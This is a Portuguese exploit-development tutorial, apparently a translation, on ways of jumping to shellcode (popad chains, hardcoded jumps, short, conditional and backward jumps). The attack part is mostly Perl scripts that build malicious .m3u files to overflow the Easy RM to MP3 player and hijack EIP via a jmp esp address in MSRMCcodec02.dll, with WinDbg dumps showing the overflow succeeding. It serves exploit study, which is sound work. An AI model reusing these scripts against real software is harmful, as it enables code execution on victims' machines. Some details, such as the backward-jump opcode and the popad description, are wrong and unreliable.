Algumas outras
maneira de pular (jump)
Popad
Endereço hardcode para pular
A instrução “popad”
pode nos ajudar “pulando” para nosso shellcode. Popad (pop all double) retirará
duas words da stack (ESP) e colocará em registradores de uso geral, e um a ação.
Os registradores são carregados na seguinte ordem: EDI, ESI, EBP, EBX, EDX, ECX
e EAX. Como resultado, o registrador ESP é incrementado após cada registrador
ser carregado (disparado por popad). Um popad irá tomar 32 bytes de ESP e
coloca-os nos registradores
O opcode do popad é 0x61.
Então suponha que precise pular
40 bytes, e você tem apenas dois bytes para fazer o jump, você pode usar 2
popad’s para apontar ESP para o shellcode (que começa com NOP’s feitos para os
40 bytes de espaço que precisamos para pular sobre).
Vamos usar novamente a
vulnerabilidade do Easy RM to MP3 para demonstrar esta técnica. Vamos
reutilizar o script anterior de exemplo, e construiremos um falso buffer que
colocará 13 X’s no ESP, então colocaremos um pouco de lixo (D’s e A’s) e então
o nosso shellcode (NOP’s + A’s).
my $file= "test1.m3u";
my $buffersize = 26094;
my $junk= "A" x 250;
my $nop = "\x90" x 50;
my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));
my $eip =”BBBB”
my $preshellcode = "X" x 17;
my $garbage = "\x44" x 100;
my $buffer = $junk.$nop.$shellcode.$restofbuffer;
print "Tamanho do buffer : ".length($buffer)."\n";
open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$jgarbage;
close($FILE);
print "Arquivo m3u criado com sucesso\n";
Após abrir o arquivo no Easy RM
to MP3, a aplicação morre, e ESP se parece com isso:
First chance
exceptions are reported before any exception handling.
This
exception may be expected and handled.
eax=00000001
ebx=00104a58 ecx=7c91005d edx=003f0000 esi=77c5fce0 edi=0000666d
eip=42424242
esp=000ff730 ebp=00344158 iopl=0
nv up ei pl nz na pe nc
cs=001b ss=0023
ds=0023 es=0023 fs=003b
gs=0000 efl=00010206
Missing image
name, possible paged-out or corrupt data.
Missing image
name, possible paged-out or corrupt data.
Missing image
name, possible paged-out or corrupt data.
42424242
?? ???
0:000> d
esp
000ff730 58 58 58 58 58 58 58 58-58 58 58 58 58 44 44
44 XXXXXXXXXXXXXDDD | => 13 bytes
000ff740 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44
44 DDDDDDDDDDDDDDDD | => garbage
000ff750 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44
44 DDDDDDDDDDDDDDDD | => garbage
000ff760 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44
44 DDDDDDDDDDDDDDDD | => garbage
000ff770 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44
44 DDDDDDDDDDDDDDDD | => garbage
000ff780 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44
44 DDDDDDDDDDDDDDDD | => garbage
000ff790 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44
44 DDDDDDDDDDDDDDDD | => garbage
000ff7a0 00 41 41 41 41 41 41 41-41 41 41 41 41 41 41
41 .AAAAAAAAAAAAAAA | => garbage
0:000> d
000ff7b0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA | => garbage
000ff7c0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA | => garbage
000ff7d0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA | => garbage
000ff7e0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA | => garbage
000ff7f0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA | => garbage
000ff800 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA | => garbage
000ff810 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA | => garbage
000ff820 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA | => garbage
0:000> d
000ff830 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA | => garbage
000ff840 41 41 90 90 90 90 90 90-90 90 90 90 90 90 90
90 AA.............. | => garbage
000ff850 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90
90 ................ | =>
NOPS/Shellcode
000ff860 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90
90 ................ | =>
NOPS/Shellcode
000ff870 90 90 90 90 cc 41 41 41-41 41 41 41 41 41 41
41 .....AAAAAAAAAAA | =>
NOPS/Shellcode
000ff880 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA | =>
NOPS/Shellcode
000ff890 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA | =>
NOPS/Shellcode
000ff8a0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA | =>
NOPS/Shellcode
Vamos dizer que precisamos usar
os 13 X’s (então 13 bytes) que estão disponíveis diretamente no ESP para pular
sobre 100 D’s (44) e 160 A’s (um total de 260 bytes) para finalizar nosso
shellcode (inicia com NOP’s, então vem um breakpoint, e então A’s = shellcode).
Um popad = 32 bytes. Assim 260
bytes = 9 popad’d (-28 bytes) (assim precisamos iniciar nosso shellcode com
nops, ou iniciar o shellcode em [início do shellcode]+28 bytes.
No nosso caso, temos alguns nops
antes do shellcode, então vamos tentar um “popad” nos nops e ver se a aplicação
trava em nosso breakpoint.
Primeiro, sobrescreva EIP
novamente com jmp esp (veja um dos scripts anteriores).
Então, ao invés dos X’s, faça 9
popad’s, seguidos pelo opcode de “jmp esp” (0xff,0xe4):
my $file= "test1.m3u";
my $buffersize = 26094;
my $junk= "A" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xcc";
my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));
my $eip = pack('V',0x01ccf23a); #jmp esp de MSRMCcodec02.dll
my $preshellcode = "X" x 4; # necessário apontar ESP para 13 bytes abaixo
$preshellcode=$preshellcode."\x61" x 9; #9 popads
$preshellcode=$preshellcode."\xff\xe4"; #10º e 11º bytes, jmp esp
$preshellcode=$preshellcode."\x90\x90\x90"; #preencha o resto com nops
my $garbage = "\x44" x 100; #lixo para jump over
my $buffer = $junk.$nop.$shellcode.$restofbuffer;
print "Size of buffer : ".length($buffer)."\n";
open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$garbage;
close($FILE);
print "Arquivo m3u criado com sucesso\n";
Após abrir o arquivo, a aplicação
trava em nosso breakpoint. EIP e ESP paracem-se com isso:
(f40.5f0): Break instruction exception - code 80000003 (first chance)
eax=90909090 ebx=90904141 ecx=90909090
edx=90909090 esi=41414141 edi=41414141
eip=000ff874 esp=000ff850 ebp=41414141
iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023
ds=0023 es=0023 fs=003b
gs=0000 efl=00000206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
000ff874 cc int 3
0:000> d eip
000ff874 cc 41 41 41 41 41 41 41-41 41 41 41 41 41 41
41 .AAAAAAAAAAAAAAA
000ff884 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
000ff894 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
000ff8a4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
000ff8b4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
000ff8c4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
000ff8d4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
000ff8e4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
0:000> d eip-32
000ff842 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90
90 ................
000ff852 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90
90 ................
000ff862 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90
90 ................
000ff872 90 90 cc 41 41 41 41 41-41 41
41 41 41 41 41 41 ...AAAAAAAAAAAAA
000ff882 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
000ff892 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
000ff8a2 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
000ff8b2 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
0:000> d esp
000ff850 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90
90 ................
000ff860 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90
90 ................
000ff870 90 90 90 90 cc 41 41 41-41 41 41 41
41 41 41 41 .....AAAAAAAAAAA
000ff880 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
000ff890 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
000ff8a0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
000ff8b0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
000ff8c0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
=> os popad’s funcionaram e
fizeram o ESP apontar para os nops. Então o jump para o esp foi feito (0xff
0xe4), o que fez com que o EIP pulasse para os nops, e fizeram o slide até o
breakpoint (em 000f874).
Substitua os A’s pelo shellcode:
Ownado novamente!
Outra maneira (não tão boa, mas
ainda assim possível) de pular para o shwllcode, é utilizando jumpcode que
simplesmente pula para o endereço (ou um offset de um registrador). Posto que o
registrador/endereço pode mudar durante cada execuçãod o programa, esta técnica
pode não funcionar todas as vezes.
Então, para o hardcode de
endereços ou offsets de um registrador, precisa simplesmente encontrar o opcode
que fará o jump, e então usá-lo no primeiro buffer (o menor) para pular para o
shellcode real.
Você já deve saber como encontrar
o opcode para instruções assembly, então colocarei dois exemplos:
1. jump para
0x12345678
0:000> a
7c90120e jmp 12345678
jmp 12345678
7c901213
0:000> u 7c90120e
ntdll!DbgBreakPoint:
7c90120e
e96544a495 jmp 12345678
=> opcode is
0xe9,0x65,0x44,0xa4,0x95
2. jump para
ebx+124h
0:000> a
7c901214 add ebx,124
add ebx,124
7c90121a jmp ebx
jmp ebx
7c90121c
0:000> u 7c901214
ntdll!DbgUserBreakPoint+0x2:
7c901214 81c324010000 add
ebx,124h
7c90121a ffe3 jmp ebx
=> os opcodes são 0x81,0xc3,0x24,0x01,0x00,0x00 (add ebx 124h) e 0xff,0xe3 (jmp ebx)
Short jumps & jumps condicionais
No evento que precisa de um jump
sobre poucos bytes, pode usar algumas técnicas de “short jump” para conseguir
isso:
- um short jump: (jmp): opcode
0xeb, seguido por um número de byte
Então se você precisa pular 30
bytes, o opcode será 0xeb,0x1e
- um jump condicional
(short/near): (“jump se condição for verdadeira”) : Esssa técnica é baseada no
estado de um ou mais flags no registrador EFLAGS (CF,OF,PF,SF e ZF). Se as
flags estão em determinado estado (condição), então um jump pode ser feito para
a instrução alvo especificada pelo operador de destino. Essa instrução alvo é
especificado com um offset relativo (relativo ao valor corrente de EIP).
Exemplo: suponha que queira pular
6 bytes. Dê uma olhada nas flags (ollydbg), e dependendo do status das flags,
poerá usar um dos opcodes da tabela abaixo.
Digamos que a flag Zero é 1, então
poderá usar o opcode 0x74, seguido pelo número de bytes que queira pular (0x06
em nosso caso).
Esta é uma pequena tabela com
jump opcodes e condições de flags:
Code
|
Mnemonic
|
Description
|
77 cb
|
JA
rel8
|
Jump short if above (CF=0 and ZF=0)
|
73 cb
|
JAE
rel8
|
Jump short if above or equal (CF=0)
|
72 cb
|
JB
rel8
|
Jump short if below (CF=1)
|
76 cb
|
JBE
rel8
|
Jump short if below or equal (CF=1 or ZF=1)
|
72 cb
|
JC
rel8
|
Jump short if carry (CF=1)
|
E3 cb
|
JCXZ
rel8
|
Jump short if CX register is 0
|
E3 cb
|
JECXZ
rel8
|
Jump short if ECX register is 0
|
74 cb
|
JE
rel8
|
Jump short if equal (ZF=1)
|
|
JG
rel8
|
Jump short if greater (ZF=0 and SF=OF)
|
7D cb
|
JGE
rel8
|
Jump short if greater or equal (SF=OF)
|
|
JL
rel8
|
Jump short if less (SF<>OF)
|
7E cb
|
JLE
rel8
|
Jump short if less or equal (ZF=1 or
SF<>OF)
|
76 cb
|
JNA
rel8
|
Jump short if not above (CF=1 or ZF=1)
|
72 cb
|
JNAE
rel8
|
Jump short if not above or equal (CF=1)
|
73 cb
|
JNB
rel8
|
Jump short if not below (CF=0)
|
77 cb
|
JNBE
rel8
|
Jump short if not below or equal (CF=0 and
ZF=0)
|
73 cb
|
JNC
rel8
|
Jump short if not carry (CF=0)
|
75 cb
|
JNE
rel8
|
Jump short if not equal (ZF=0)
|
7E cb
|
JNG
rel8
|
Jump short if not greater (ZF=1 or
SF<>OF)
|
|
JNGE
rel8
|
Jump short if not greater or equal
(SF<>OF)
|
7D cb
|
JNL
rel8
|
Jump short if not less (SF=OF)
|
|
JNLE
rel8
|
Jump short if not less or equal (ZF=0 and
SF=OF)
|
71 cb
|
JNO
rel8
|
Jump short if not overflow (OF=0)
|
7B cb
|
JNP
rel8
|
Jump short if not parity (PF=0)
|
79 cb
|
JNS
rel8
|
Jump short if not sign (SF=0)
|
75 cb
|
JNZ
rel8
|
Jump short if not zero (ZF=0)
|
70 cb
|
JO
rel8
|
Jump short if overflow (OF=1)
|
7A cb
|
JP
rel8
|
Jump short if parity (PF=1)
|
7A cb
|
JPE
rel8
|
Jump short if parity even (PF=1)
|
7B cb
|
JPO
rel8
|
Jump short if parity odd (PF=0)
|
78 cb
|
JS
rel8
|
Jump short if sign (SF=1)
|
74 cb
|
JZ
rel8
|
Jump short if zero (ZF = 1)
|
|
JA
rel16/32
|
Jump near if above (CF=0 and ZF=0)
|
|
JAE
rel16/32
|
Jump near if above or equal (CF=0)
|
|
JB
rel16/32
|
Jump near if below (CF=1)
|
|
JBE
rel16/32
|
Jump near if below or equal (CF=1 or ZF=1)
|
|
JC
rel16/32
|
Jump near if carry (CF=1)
|
|
JE
rel16/32
|
Jump near if equal (ZF=1)
|
|
JZ
rel16/32
|
Jump
near if 0 (ZF=1)
|
|
JG
rel16/32
|
Jump near if greater (ZF=0 and SF=OF)
|
|
JGE
rel16/32
|
Jump near if greater or equal (SF=OF)
|
|
JL
rel16/32
|
Jump near if less (SF<>OF)
|
|
JLE
rel16/32
|
Jump near if less or equal (ZF=1 or
SF<>OF)
|
|
JNA
rel16/32
|
Jump near if not above (CF=1 or ZF=1)
|
|
JNAE
rel16/32
|
Jump near if not above or equal (CF=1)
|
|
JNB
rel16/32
|
Jump near if not below (CF=0)
|
|
JNBE
rel16/32
|
Jump near if not below or equal (CF=0 and
ZF=0)
|
|
JNC
rel16/32
|
Jump near if not carry (CF=0)
|
|
JNE
rel16/32
|
Jump near if not equal (ZF=0)
|
|
JNG
rel16/32
|
Jump near if not greater (ZF=1 or
SF<>OF)
|
|
JNGE
rel16/32
|
Jump near if not greater or equal
(SF<>OF)
|
|
JNL
rel16/32
|
Jump near if not less (SF=OF)
|
|
JNLE
rel16/32
|
Jump near if not less or equal (ZF=0 and
SF=OF)
|
|
JNO
rel16/32
|
Jump near if not overflow (OF=0)
|
|
JNP
rel16/32
|
Jump near if not parity (PF=0)
|
|
JNS
rel16/32
|
Jump near if not sign (SF=0)
|
|
JNZ
rel16/32
|
Jump near if not zero (ZF=0)
|
|
JO
rel16/32
|
Jump near if overflow (OF=1)
|
|
JP
rel16/32
|
Jump near if parity (PF=1)
|
|
JPE
rel16/32
|
Jump near if parity even (PF=1)
|
|
JPO
rel16/32
|
Jump near if parity odd (PF=0)
|
|
JS
rel16/32
|
Jump near if sign (SF=1)
|
|
JZ
rel16/32
|
Jump
near if 0 (ZF=1)
|
Backward jumps
Em situações em que precise
executar backward jumps (jumps com offset negativos): pegue o número negativo e
converta-o para hexadecimal. Pegue o valor hexa do dword e use-a como argumento
para um jump (\xeb ou \xe9).
Exemplo: jump back 7 bytes: -7 =
FFFFFFF9, assim jump -7 seria “\xeb\xf9\xff\xff”
Exemplo: jump back 400 bytes: -400 = FFFFFE70,
assim jump -400 bytes =
Exemplo: jump back 400 bytes
: -400 = FFFFFE70, so jump -400 bytes = "\xe9\x70\xfe\xff\xff"
(como pode ver, este opcode possui 5 bytes de tamanho. Algumas vezes, se
precisar ficar dentro do limites de dword (4 bytes apenas), poderá realizar
múltiplos short jumps para conseguir chegar onde deseja).